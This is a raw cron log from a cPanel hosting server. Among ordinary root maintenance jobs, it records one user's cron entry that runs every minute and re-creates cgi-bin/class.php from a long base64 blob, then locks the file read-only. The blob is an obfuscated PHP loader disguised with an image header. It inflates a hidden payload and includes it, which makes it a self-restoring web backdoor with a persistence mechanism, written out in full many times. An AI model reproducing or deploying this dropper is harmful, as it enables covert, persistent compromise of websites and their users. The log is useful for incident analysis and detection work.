Sep  8 16:28:01 server CROND[13391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:28:01 server CROND[13392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:29:01 server CROND[13878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:29:01 server CROND[13879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:29:01 server CROND[13880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:30:01 server CROND[14300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:30:01 server CROND[14303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:30:01 server CROND[14308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:30:01 server CROND[14304]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:30:01 server CROND[14309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:30:01 server CROND[14306]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 16:30:01 server CROND[14307]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:30:01 server CROND[14302]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:30:01 server CROND[14305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:31:01 server CROND[15198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:31:01 server CROND[15199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:31:01 server CROND[15200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:32:01 server CROND[15581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:32:01 server CROND[15582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:32:01 server CROND[15583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:33:01 server CROND[15962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:33:01 server CROND[15963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:33:01 server CROND[15965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:34:01 server CROND[16432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:34:01 server CROND[16433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:34:01 server CROND[16434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:35:01 server CROND[16846]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:35:01 server CROND[16850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:35:01 server CROND[16865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 16:35:01 server CROND[16867]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:35:01 server CROND[16870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:35:01 server CROND[16866]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 16:35:01 server CROND[16869]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:35:01 server CROND[16864]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:35:01 server CROND[16871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:36:01 server CROND[17707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:36:01 server CROND[17709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:36:01 server CROND[17708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:37:01 server CROND[18092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:37:01 server CROND[18093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:37:01 server CROND[18094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:38:01 server CROND[18473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:38:01 server CROND[18475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:38:01 server CROND[18474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:39:01 server CROND[18951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:39:01 server CROND[18952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:39:01 server CROND[18953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:39:01 server CROND[18954]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 16:40:01 server CROND[19361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:40:01 server CROND[19363]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:40:01 server CROND[19366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
